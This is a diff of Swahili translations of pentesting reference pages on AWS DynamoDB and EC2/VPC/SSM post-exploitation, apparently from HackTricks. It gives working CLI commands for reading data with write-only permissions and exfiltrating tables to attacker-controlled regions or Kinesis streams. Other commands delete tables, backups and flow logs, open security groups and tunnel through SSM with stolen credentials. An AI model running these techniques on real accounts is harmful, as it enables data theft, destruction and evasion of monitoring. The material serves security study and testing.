 ```bash
 aws dynamodb update-continuous-backups \
 --table-name <value> \
 --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
 ```
-**Madhara Yanayoweza Kutokea:** privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti kwenye jedwali
+**Athari Inayoweza Kutokea:** Indirect privesc by locating sensitive information in the table
 
-### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` 
+### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
 
-Kwa ruhusa hizi, mshambuliaji angeweza **kuunda jedwali jipya kutoka kwenye chelezo** (au hata kuunda chelezo ili kisha kuirejesha kwenye jedwali tofauti). Kisha, kwa ruhusa zinazohitajika, angeweza kuangalia **taarifa** kutoka kwa chelezo ambazo **hazikuwepo tena kwenye jedwali la uzalishaji**.
+Kwa ruhusa hizi, mshambuliaji angeweza **kuunda jedwali jipya kutoka backup** (au hata kuunda backup kisha kurejesha katika jedwali tofauti). Kisha, akiwa na ruhusa zinazohitajika, angeweza kuangalia **taarifa** kutoka kwa backups ambazo **haziwezi tena kuwa kwenye jedwali la uzalishaji**.
 ```bash
 aws dynamodb restore-table-from-backup \
 --backup-arn <source-backup-arn> \
 --target-table-name <new-table-name> \
 --region <region>
 ```
-**Athari Inayowezekana:** privesc isiyo ya moja kwa moja kwa kupata taarifa nyeti katika nakala rudufu ya jedwali
+**Potential Impact:** Indirect privesc kwa kupata taarifa nyeti kwenye nakala rudufu ya jedwali
 
 ### `dynamodb:PutItem`
 
-Ruhusa hii inawawezesha watumiaji kuongeza **kipengee kipya kwenye jedwali au kubadilisha kipengee kilicho tayari kuwepo** kwa kipengee kipya. Ikiwa kipengee chenye key kuu sawa tayari kipo, **kipengee kizima kitabadilishwa** na kipengee kipya. Ikiwa key kuu haipo, kipengee kipya chenye key kuu iliyobainishwa kita **undwa**.
+Ruhusa hii inawawezesha watumiaji kuongeza **rekodi mpya kwenye jedwali au kubadilisha rekodi iliyopo** kwa rekodi mpya. Ikiwa rekodi yenye primary key ile ile tayari ipo, **rekodi nzima itabadilishwa** kwa rekodi mpya. Ikiwa primary key haipo, rekodi mpya yenye primary key iliyotajwa itaundwa.
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -202,11 +202,11 @@ aws dynamodb put-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Athari Inayowezekana:** Kutumiwa kwa udhaifu na mbinu za kuepuka vizuizi zaidi kwa sababu ya uwezo wa kuongeza/kuhariri data katika jedwali la DynamoDB
+**Athari Inayowezekana:** Utekelezaji wa vulnerabilities/bypasses zaidi kwa kuwa na uwezo wa kuongeza/kuhariri data katika jedwali la DynamoDB
 
 ### `dynamodb:UpdateItem`
 
-Ruhusa hii inawawezesha watumiaji **kuhariri sifa zilizopo za item au kuongeza sifa mpya kwa item**. **Haibadilishi** item nzima; inasasisha tu sifa zilizotajwa. Kama primary key haipo kwenye jedwali, operesheni itaunda **item mpya** yenye primary key iliyotajwa na itaweka sifa zilizotajwa katika update expression.
+Haki hii inawawezesha watumiaji **kuhariri sifa zilizopo za item au kuongeza sifa mpya kwa item**. **Haibadilishi** item nzima; inasasisha tu sifa zilizobainishwa. Ikiwa primary key haipo katika jedwali, operesheni ita **unda item mpya** yenye primary key iliyobainishwa na kuweka sifa zilizobainishwa kwenye update expression.
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -242,36 +242,36 @@ aws dynamodb update-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Potential Impact:** Kutumiwa kwa udhaifu au bypasses zaidi kwa kuwa na uwezo wa kuongeza/kuhariri data katika jedwali la DynamoDB
+**Athari Inayowezekana:** Unyonyaji wa vulnerabilities/bypasses zaidi kwa uwezo wa kuongeza au kubadilisha data katika jedwali la DynamoDB
 
 ### `dynamodb:DeleteTable`
 
-Mshambuliaji mwenye ruhusa hii anaweza **kufuta jedwali la DynamoDB, kusababisha upotevu wa data**.
+An attacker mwenye ruhusa hii anaweza **kufuta jedwali la DynamoDB, kusababisha kupoteza data**.
 ```bash
 aws dynamodb delete-table \
 --table-name TargetTable \
 --region <region>
 ```
-**Athari inayowezekana**: Upotezaji wa data na kuathirika kwa huduma zinazotegemea jedwali lililofutwa.
+**Potential impact**: Kupoteza data na kukatizwa kwa huduma zinazotegemea jedwali lililofutwa.
 
 ### `dynamodb:DeleteBackup`
 
-Mshambuliaji mwenye ruhusa hii anaweza **kufuta chelezo ya DynamoDB, ikisababisha upotezaji wa data katika tukio la urejeshaji baada ya maafa**.
+Mshambuliaji mwenye ruhusa hii anaweza **kufuta DynamoDB backup, jambo linaloweza kusababisha kupoteza data katika hali ya kurejesha baada ya maafa**.
 ```bash
 aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
 --region <region>
 ```
-**Athari inayowezekana**: Kupoteza data na kutoweza kurejesha kutoka kwenye chelezo wakati wa tukio la urejeshaji baada ya janga.
+**Potential impact**: Upotevu wa data na kutoweza kurejesha kutoka kwa chelezo wakati wa tukio la urejeshaji baada ya msiba.
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
 > [!NOTE]
 > TODO: Jaribu kama hii kwa kweli inafanya kazi
 
-Mshambulizi mwenye ruhusa hizi anaweza **kuwezesha stream kwenye jedwali la DynamoDB, kusasisha jedwali ili kuanza streaming ya mabadiliko, na kisha kufikia stream ili kufuatilia mabadiliko kwenye jedwali kwa wakati halisi**. Hii inamruhusu mshambulizi kufuatilia na exfiltrate mabadiliko ya data, na kuna uwezekano wa kusababisha data leakage.
+An attacker wenye ruhusa hizi anaweza **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. Hii inamruhusu attacker kufuatilia na exfiltrate mabadiliko ya data, ambayo inaweza kusababisha data leakage.
 
-1. Wezesha stream kwenye jedwali la DynamoDB:
+1. Washa stream kwenye jedwali la DynamoDB:
 ```bash
 aws dynamodb update-table \
 --table-name TargetTable \
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
 --shard-iterator-type LATEST \
 --region <region>
 ```
-4. Tumia shard iterator kufikia na exfiltrate data kutoka kwenye stream:
+4. Tumia shard iterator kufikia na exfiltrate data kutoka kwa stream:
 ```bash
 aws dynamodbstreams get-records \
 --shard-iterator <shard_iterator> \
 --region <region>
 ```
-**Potential impact**: Uangalizi wa wakati halisi na data leakage ya mabadiliko ya jedwali la DynamoDB.
+**Potential impact**: Ufuatiliaji wa wakati-halisi na data leakage ya mabadiliko ya jedwali la DynamoDB.
 
-### Soma vitu kupitia `dynamodb:UpdateItem` na `ReturnValues=ALL_OLD`
+### Soma vipengee kupitia `dynamodb:UpdateItem` na `ReturnValues=ALL_OLD`
 
-Mshambuliaji mwenye tu `dynamodb:UpdateItem` kwenye jedwali anaweza kusoma vitu bila ruhusa yoyote ya kawaida ya kusoma (`GetItem`/`Query`/`Scan`) kwa kufanya update isiyo hatari na kuomba `--return-values ALL_OLD`. DynamoDB itarejesha picha kamili ya kabla ya update ya item katika uwanja wa `Attributes` wa majibu (hii haisitumii RCUs).
+Mshambuliaji ambaye ana tu ruhusa ya `dynamodb:UpdateItem` kwenye jedwali anaweza kusoma vipengee bila ruhusa za kawaida za kusoma (`GetItem`/`Query`/`Scan`) kwa kufanya update isiyo hatari na kuomba `--return-values ALL_OLD`. DynamoDB itarudisha picha kamili ya kipengee kabla ya update katika sehemu ya `Attributes` ya response (hii haitumii RCUs).
 
-- Minimum permissions: `dynamodb:UpdateItem` on the target table/key.
-- Prerequisites: You must know the item's primary key.
+- Ruhusa za chini: `dynamodb:UpdateItem` kwenye jedwali/funguo lengwa.
+- Mahitaji ya awali: Lazima ujue funguo kuu ya kipengee.
 
-Example (inaongeza sifa isiyo hatari na exfiltrates item ya awali katika jibu):
+Mfano (inaongeza sifa isiyo hatari na exfiltrates kipengee kilichotangulia kwenye response):
 ```bash
 aws dynamodb update-item \
 --table-name <TargetTable> \
@@ -318,14 +318,14 @@ aws dynamodb update-item \
 --return-values ALL_OLD \
 --region <region>
 ```
-Jibu la CLI litaonyesha kipengele cha `Attributes` chenye rekodi ya awali kamili (sifa zote), kwa vitendo kikitoa primitive ya kusoma kutoka kwa upatikanaji wa kuandika-tu.
+The CLI response will include an `Attributes` block containing the complete previous item (all attributes), effectively providing a read primitive from write-only access.
 
-**Athari Inayowezekana:** Soma rekodi yoyote ile kutoka kwenye jedwali ukiwa na ruhusa za kuandika tu, ikiruhusu uondoaji wa data nyeti wakati funguo za msingi zinapojulikana.
+**Athari Inayowezekana:** Soma vipengee vyovyote kutoka kwenye meza ukiwa na ruhusa za kuandika pekee, ikiruhusu uondoaji wa data nyeti wakati funguo kuu zinapojulikana.
 
 
 ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
 
-Uondoaji wa data kwa siri kwa kuongezea mkoa mpya wa replica kwenye DynamoDB Global Table (toleo 2019.11.21). Ikiwa mhusika anaweza kuongeza replica ya kikanda, jedwali zima litatiririka hadi mkoa ulioteuliwa na mshambuliaji, kutoka huko mshambuliaji anaweza kusoma vitu vyote.
+Uondoaji wa siri kwa kuongeza replica mpya ya Region kwenye DynamoDB Global Table (version 2019.11.21). Ikiwa principal anaweza kuongeza regional replica, meza yote itafanywa replicate hadi Region iliyochaguliwa na mshambulizi, ambapo mshambulizi ataweza kusoma vipengee vyote.
 
 {{#tabs }}
 {{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -354,13 +354,13 @@ aws dynamodb update-table \
 {{#endtab }}
 {{#endtabs }}
 
-Ruhusa: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. Iwapo CMK inatumiwa kwenye replica, KMS permissions for that key may be required.
+Ruhusa: `dynamodb:UpdateTable` (with `replica-updates`) or `dynamodb:CreateTableReplica` on the target table. Ikiwa CMK inatumiwa kwenye replica, ruhusa za KMS kwa key hiyo zinaweza kuhitajika.
 
-Athari Inayoweza Kutokea: Kuiga jedwali zima (full-table replication) kwenda Region inayodhibitiwa na mshambuliaji, ikisababisha uondoaji wa data kwa njia ya siri.
+Athari Inayowezekana: Replication ya jedwali zima kwenda Region inayodhibitiwa na mshambuliaji, ikisababisha data exfiltration kwa njia ya siri.
 
-### `dynamodb:TransactWriteItems` (kusoma kupitia `ConditionExpression` iliyoshindwa + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
+### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
 
-Mshambuliaji mwenye ruhusa za transactional write anaweza kuondoa sifa kamili za item iliyopo kwa kufanya `Update` ndani ya `TransactWriteItems` ambayo kwa makusudi inashindwa `ConditionExpression` wakati ukiweka `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Wakati inashindwa, DynamoDB hujumuisha sifa za awali katika sababu za kukatishwa kwa muamala, hivyo kubadilisha ufikiaji wa kuandika tu kuwa ufikiaji wa kusoma wa funguo zilizolengwa.
+Mshambuliaji mwenye transactional write privileges anaweza exfiltrate sifa zote za item iliyopo kwa kufanya `Update` ndani ya `TransactWriteItems` ambayo kwa makusudi inashindwa kwenye `ConditionExpression` wakati ikiteua `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Katika kushindwa, DynamoDB hujumuisha sifa za awali katika sababu za kughairi muamala, kwa hivyo kubadilisha write-only access kuwa read access ya keys zilizolengwa.
 
 {{#tabs }}
 {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -409,18 +409,18 @@ print(e.response['CancellationReasons'][0]['Item'])
 {{#endtab }}
 {{#endtabs }}
 
-Ruhusa: `dynamodb:TransactWriteItems` kwenye jedwali lengwa (na item chini yake). Hakuna ruhusa za kusoma zinazohitajika.
+Ruhusa: `dynamodb:TransactWriteItems` kwenye jedwali lengwa (na item ya msingi). Hakuna ruhusa za kusoma zinahitajika.
 
-Athari Inayoweza Kutokea: Kusoma vitu vyovyote (kwa funguo kuu) kutoka kwenye jedwali kwa kutumia tu ruhusa za kuandika za muamala kupitia sababu za kughairi zinazorejeshwa.
+Athari Inayoweza Kutokea: Kusoma items yoyote (kwa primary key) kutoka kwenye jedwali ukitumia tu ruhusa za kuandika za muamala kupitia sababu za kughairi (cancellation reasons) zilizorejeshwa.
 
 
-### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` kwa GSI
+### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
 
-Vuka vizuizi vya kusoma kwa kuunda Global Secondary Index (GSI) yenye `ProjectionType=ALL` kwenye sifa yenye entropy ya chini, weka sifa hiyo kuwa thamani ya kudumu kwa vitu vyote, kisha `Query` index ili kupata vitu kamili. Hii inafanya kazi hata kama `Query`/`Scan` kwenye jedwali la msingi imekataliwa, mradi tu unaweza ku-query ARN ya index.
+Pitia vizuizi vya kusoma kwa kuunda Global Secondary Index (GSI) yenye `ProjectionType=ALL` kwenye sifa yenye entropy ya chini, weka sifa hiyo kuwa thamani thabiti kwa items zote, kisha `Query` index ili kupata items kamili. Hii inafanya kazi hata kama `Query`/`Scan` kwenye jedwali la msingi imekataliwa, mradi tu unaweza kuuliza ARN ya index.
 
-- Ruhusa za chini kabisa:
-- `dynamodb:UpdateTable` kwenye jedwali lengwa (kwa kuunda GSI yenye `ProjectionType=ALL`).
-- `dynamodb:UpdateItem` kwenye funguo za jedwali lengwa (kwa kuweka sifa iliyowekwa kwenye index kwa kila rekodi).
+- Minimum permissions:
+- `dynamodb:UpdateTable` kwenye jedwali lengwa (kuunda GSI yenye `ProjectionType=ALL`).
+- `dynamodb:UpdateItem` kwenye funguo za jedwali lengwa (kuweka sifa iliyowekwa kama index kwenye kila item).
 - `dynamodb:Query` kwenye ARN ya rasilimali ya index (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
 
 Hatua (PoC katika us-east-1):
@@ -461,17 +461,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
 --expression-attribute-values '{":v":{"S":"dump"}}' \
 --region us-east-1
 ```
-**Athari Inayoweza Kutokea:** Utoaji kamili wa jedwali kwa kuuliza GSI mpya iliyoundwa ambayo inaproject attributes zote, hata wakati base table read APIs zimetengwa.
+**Athari Inayoweza Kutokea:** Uondoaji kamili wa data za jedwali kwa ku-query GSI mpya iliyotengenezwa ambayo inayoonyesha sifa zote, hata wakati APIs za kusoma za jedwali la msingi zimekataliwa.
 
 
-### `dynamodb:EnableKinesisStreamingDestination` (Continuous exfiltration via Kinesis Data Streams)
+### `dynamodb:EnableKinesisStreamingDestination` (Uhamisho unaoendelea wa data kupitia Kinesis Data Streams)
 
-Kutumia vibaya DynamoDB Kinesis streaming destinations ili ku-exfiltrate mabadiliko kutoka kwenye jedwali moja kwa moja kwenda kwa attacker-controlled Kinesis Data Stream. Mara inapoamilishwa, kila tukio la INSERT/MODIFY/REMOVE linasafirishwa karibu kwa wakati halisi kwenye stream bila kuhitaji read permissions kwenye table.
+Kutumia vibaya DynamoDB Kinesis streaming destinations kuendelea kutoa mabadiliko kutoka kwenye jedwali hadi Kinesis Data Stream inayodhibitiwa na mshambuliaji. Mara inapowezeshwa, kila tukio la INSERT/MODIFY/REMOVE linarushwa karibu kwa wakati halisi kwenye stream bila ya kuhitaji ruhusa za kusoma kwenye jedwali.
 
-Ruhusa za chini kabisa (attacker):
-- `dynamodb:EnableKinesisStreamingDestination` kwenye target table
-- Hiari: `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` kwa kufuatilia status
-- Ruhusa za kusoma kwenye Kinesis stream inayomilikiwa na attacker ili kuchukua rekodi: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
+Ruhusa za chini kabisa (mshambuliaji):
+- `dynamodb:EnableKinesisStreamingDestination` kwenye jedwali lengwa
+- Hiari `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` ili kufuatilia hali
+- Ruhusa za kusoma kwenye Kinesis stream inayomilikiwa na mshambuliaji ili kusoma rekodi: `kinesis:*`
 
 <details>
 <summary>PoC (us-east-1)</summary>
@@ -530,6 +530,8 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
 ```
 </details>
 
-**Athari Inayoweza Kutokea:** Exfiltration inayodumu, karibu wakati halisi, ya mabadiliko ya table kwenda kwenye Kinesis stream inayodhibitiwa na mshambuliaji bila read operations za moja kwa moja kwenye table.
+**Athari Inayoweza Kutokea:** Exfiltration endelevu, karibu kwa wakati halisi, ya mabadiliko ya jedwali kwa Kinesis stream inayodhibitiwa na mshambuliaji bila shughuli za kusoma za moja kwa moja kwenye jedwali.
 
-{{#include ../../../banners/hacktricks-training.md}}
+
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md

@@ -10,10 +10,10 @@ Kwa maelezo zaidi angalia:
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
-### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
+### **VPC Mirror Hatari -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
-Kuhifadhiwa kwa trafiki ya VPC **kunakili trafiki ya kuingia na kutoka kwa EC2 instances ndani ya VPC** bila haja ya kufunga chochote kwenye instances wenyewe. Trafiki hii iliyokaliwa kawaida itatumwa kwa kitu kama mfumo wa kugundua uvunjaji wa mtandao (IDS) kwa uchambuzi na ufuatiliaji.\
-Mshambuliaji anaweza kutumia hii kukamata trafiki yote na kupata taarifa nyeti kutoka kwake:
+VPC traffic mirroring **inajirudia trafiki ya kuingia na kutoka kwa EC2 instances ndani ya VPC** bila haja ya kusakinisha chochote kwenye instances hizo. Trafiki iliyorudishwa kawaida itatumwa kwa kitu kama network intrusion detection system (IDS) kwa uchambuzi na ufuatiliaji.  
+Mvamizi anaweza kutumia hili kunasa trafiki yote na kupata taarifa nyeti kutoka kwake:
 
 Kwa maelezo zaidi angalia ukurasa huu:
 
@@ -21,9 +21,9 @@ Kwa maelezo zaidi angalia ukurasa huu:
 aws-malicious-vpc-mirror.md
 {{#endref}}
 
-### Copy Running Instance
+### Nakili instance inayokimbia
 
-Instances kwa kawaida zina aina fulani ya taarifa nyeti. Kuna njia tofauti za kuingia (angalia [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). Hata hivyo, njia nyingine ya kuangalia kile kinachomo ni **kuunda AMI na kuendesha instance mpya (hata katika akaunti yako mwenyewe) kutoka kwake**:
+Instances mara nyingi huwa na aina fulani ya taarifa nyeti. Kuna njia tofauti za kuingia ndani (angalia [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). Hata hivyo, njia nyingine ya kuona kile kilicho ndani ni **kuunda AMI na kuendesha instance mpya (hata kwenye account yako) kutoka kwake**:
 ```shell
 # List instances
 aws ec2 describe-images
@@ -49,109 +49,174 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west
 ```
 ### EBS Snapshot dump
 
-**Snapshots ni nakala za volumes**, ambazo kwa kawaida zitakuwa na **taarifa nyeti**, hivyo kuzikagua kunapaswa kufichua taarifa hii.\
-Ikiwa unapata **volume bila snapshot** unaweza: **Kuunda snapshot** na kufanya hatua zifuatazo au tu **kuikamata katika instance** ndani ya akaunti:
+**Snapshots are backups of volumes**, ambazo kawaida zitakuwa na **habari nyeti**, kwa hiyo kuzichunguza kunapaswa kufichua taarifa hizi.\
+Ikiwa utapata **volume without a snapshot** unaweza: **Create a snapshot** na kufanya hatua zifuatazo au tu **mount it in an instance** ndani ya akaunti:
 
 {{#ref}}
 aws-ebs-snapshot-dump.md
 {{#endref}}
 
+### Covert Disk Exfiltration via AMI Store-to-S3
+
+Export an EC2 AMI straight to S3 using `CreateStoreImageTask` to obtain a raw disk image without snapshot sharing. Hii inaruhusu forensics kamili offline au data theft wakati ikiacha networking ya instance bila kubadilika.
+
+{{#ref}}
+aws-ami-store-s3-exfiltration.md
+{{#endref}}
+
+### Live Data Theft via EBS Multi-Attach
+
+Unganisha io1/io2 Multi-Attach volume kwenye instance ya pili na ui-mountiwe read-only ili kunyonya live data bila snapshots. Inafaa wakati victim volume tayari ina Multi-Attach imewezeshwa ndani ya AZ ileile.
+
+{{#ref}}
+aws-ebs-multi-attach-data-theft.md
+{{#endref}}
+
+### EC2 Instance Connect Endpoint Backdoor
+
+Create an EC2 Instance Connect Endpoint, authorize ingress, na inject ephemeral SSH keys ili kupata private instances kupitia managed tunnel. Hii inatoa njia za haraka za lateral movement bila kufungua public ports.
+
+{{#ref}}
+aws-ec2-instance-connect-endpoint-backdoor.md
+{{#endref}}
+
+### EC2 ENI Secondary Private IP Hijack
+
+Hamisha secondary private IP ya ENI ya victim kwa ENI inayoendeshwa na attacker ili kuiga trusted hosts ambazo ziko allowlisted kwa IP. Inaruhusu kupitisha internal ACLs au SG rules zilizounganishwa na anwani maalum.
+
+{{#ref}}
+aws-eni-secondary-ip-hijack.md
+{{#endref}}
+
+### Elastic IP Hijack for Ingress/Egress Impersonation
+
+Reassociate Elastic IP kutoka kwa instance ya victim kwenda kwa attacker ili kunasa inbound traffic au kuanzisha outbound connections zinazojiona zikitoka kwa trusted public IPs.
+
+{{#ref}}
+aws-eip-hijack-impersonation.md
+{{#endref}}
+
+### Security Group Backdoor via Managed Prefix Lists
+
+Ili sheria ya security group inamrejea customer-managed prefix list, kuongeza attacker CIDRs kwenye list hiyo kunapanua kimya kimya upatikanaji kwa kila dependent SG rule bila kuhariri SG yenyewe.
+
+{{#ref}}
+aws-managed-prefix-list-backdoor.md
+{{#endref}}
+
+### VPC Endpoint Egress Bypass
+
+Tengeneza gateway au interface VPC endpoints ili kupata tena outbound access kutoka isolated subnets. Kutumia AWS-managed private links kunapitisha controls za IGW/NAT zilizokosekana kwa data exfiltration.
+
+{{#ref}}
+aws-vpc-endpoint-egress-bypass.md
+{{#endref}}
+
+### VPC Flow Logs Cross-Account Exfiltration
+
+Elekeza VPC Flow Logs kwenye attacker-controlled S3 bucket ili kukusanya kwa mfululizo network metadata (source/destination, ports) nje ya akaunti ya victim kwa reconnaissance ya muda mrefu.
+
+{{#ref}}
+aws-vpc-flow-logs-cross-account-exfiltration.md
+{{#endref}}
+
 ### Data Exfiltration
 
 #### DNS Exfiltration
 
-Hata kama unafunga EC2 ili hakuna trafiki inayoweza kutoka, bado inaweza **kuvuja kupitia DNS**.
+Hata kama umeweka EC2 kwa kufunga ili hakuna trafiki iweze kutoka nje, bado inaweza **exfil via DNS**.
 
-- **VPC Flow Logs haitarekodi hii**.
+- **VPC Flow Logs hazitarekodi hili**.
 - Huna ufikiaji wa AWS DNS logs.
-- Zima hii kwa kuweka "enableDnsSupport" kuwa false na:
+- Zima hili kwa kuweka "enableDnsSupport" kuwa false kwa:
 
 `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
 
 #### Exfiltration via API calls
 
-Mshambuliaji anaweza kuita API endpoints za akaunti inayodhibitiwa na yeye. Cloudtrail itarekodi hizi simu na mshambuliaji ataweza kuona data iliyovuja katika Cloudtrail logs.
+Attacker anaweza kuita API endpoints za akaunti anazodhibiti. Cloudtrail itarekodi miito hii na attacker ataweza kuona data iliyofukuliwa katika Cloudtrail logs.
 
 ### Open Security Group
 
-Unaweza kupata ufikiaji zaidi kwa huduma za mtandao kwa kufungua bandari kama hii:
+Unaweza kupata ufikiaji zaidi wa huduma za mtandao kwa kufungua ports kama ifuatavyo:
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
 ### Privesc to ECS
 
-Inawezekana kuendesha EC2 instance na kuisajili kutumika kuendesha ECS instances kisha kuiba data ya ECS instances.
+Inawezekana kuendesha EC2 instance na kuisajili ili itumike kuendesha ECS instances, kisha kuiba data za ECS instances.
 
-Kwa [**maelezo zaidi angalia hii**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
+For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
 
-### Remove VPC flow logs
+### Ondoa VPC flow logs
 ```bash
 aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 ```
 ### SSM Port Forwarding
 
-Required permissions:
+Ruhusa zinazohitajika:
 
 - `ssm:StartSession`
 
-Mbali na utekelezaji wa amri, SSM inaruhusu tunneling ya trafiki ambayo inaweza kutumika kubadilisha kutoka kwa EC2 instances ambazo hazina ufikiaji wa mtandao kwa sababu ya Security Groups au NACLs. Mojawapo ya hali ambapo hii ni muhimu ni kubadilisha kutoka kwa [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hadi klasta ya EKS ya kibinafsi.
+Mbali na utekelezaji wa amri, SSM inaruhusu uundaji wa tuneli ya trafiki (traffic tunneling) ambayo inaweza kutumiwa kuwezesha pivot kutoka kwa EC2 instances ambazo hazina upatikanaji wa mtandao kutokana na Security Groups au NACLs.
+Moja ya mazingira ambapo hili ni muhimu ni pivoting kutoka [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) hadi private EKS cluster.
 
-> Ili kuanza kikao unahitaji kuwa na SessionManagerPlugin iliyosakinishwa: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
+> Ili kuanza session unahitaji SessionManagerPlugin imewekwa: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
 
 1. Sakinisha SessionManagerPlugin kwenye mashine yako
 2. Ingia kwenye Bastion EC2 ukitumia amri ifuatayo:
 ```shell
 aws ssm start-session --target "$INSTANCE_ID"
 ```
-3. Pata akreditivu za muda za Bastion EC2 AWS kwa kutumia [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script  
-4. Hamisha akreditivu hizo kwenye mashine yako mwenyewe katika faili ya `$HOME/.aws/credentials` kama profaili ya `[bastion-ec2]`  
+3. Pata kredensiali za muda za Bastion EC2 AWS kwa script ya [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment)
+4. Hamisha kredensiali kwenye mashine yako katika faili `$HOME/.aws/credentials` kama profaili `[bastion-ec2]`
 5. Ingia kwenye EKS kama Bastion EC2:
 ```shell
 aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
 ```
-6. Sasisha uwanja wa `server` katika faili ya `$HOME/.kube/config` ili kuelekeza kwenye `https://localhost`  
-7. Unda tunnel ya SSM kama ifuatavyo:
+6. Sasisha sehemu ya `server` katika faili `$HOME/.kube/config` ili kuelekeza kwa `https://localhost`  
+7. Tengeneza SSM tunnel kama ifuatavyo:
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
 ```
-8. Trafiki kutoka kwa zana ya `kubectl` sasa inasambazwa kupitia tunnel ya SSM kupitia Bastion EC2 na unaweza kufikia klasta ya EKS ya kibinafsi kutoka kwa mashine yako mwenyewe kwa kukimbia:
+8. Trafiki kutoka kwa zana ya `kubectl` sasa imepangwa kupitia tuneli ya SSM kupitia Bastion EC2 na unaweza kufikia klasta ya EKS ya kibinafsi kutoka kwenye mashine yako mwenyewe kwa kuendesha:
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
-Kumbuka kwamba muunganisho wa SSL utafaulu isipokuwa uweke bendera `--insecure-skip-tls-verify` (au sawa yake katika zana za ukaguzi za K8s). Kwa kuwa trafiki inapitishwa kupitia handaki salama la AWS SSM, uko salama kutokana na aina yoyote ya mashambulizi ya MitM.
+Kumbuka kuwa muunganiko wa SSL utashindwa isipokuwa ukiteua bendera `--insecure-skip-tls-verify` (au sawa yake katika zana za ukaguzi za K8s). Kwa kuwa trafiki inapitia kupitia mtaro salama wa AWS SSM, uko salama dhidi ya aina yoyote ya mashambulizi ya MitM.
 
-Hatimaye, mbinu hii si maalum kwa kushambulia vikundi vya EKS vya kibinafsi. Unaweza kuweka maeneo na port zisizo na mipaka ili kuhamasisha huduma nyingine yoyote ya AWS au programu maalum.
+Hatimaye, mbinu hii si maalum kwa kushambulia private EKS clusters. Unaweza kuweka arbitrary domains na ports za pivot kwenda huduma nyingine yoyote ya AWS au custom application.
 
 ---
 
-#### Haraka ya Mbele ya Mitaa ↔️ K remote (AWS-StartPortForwardingSession)
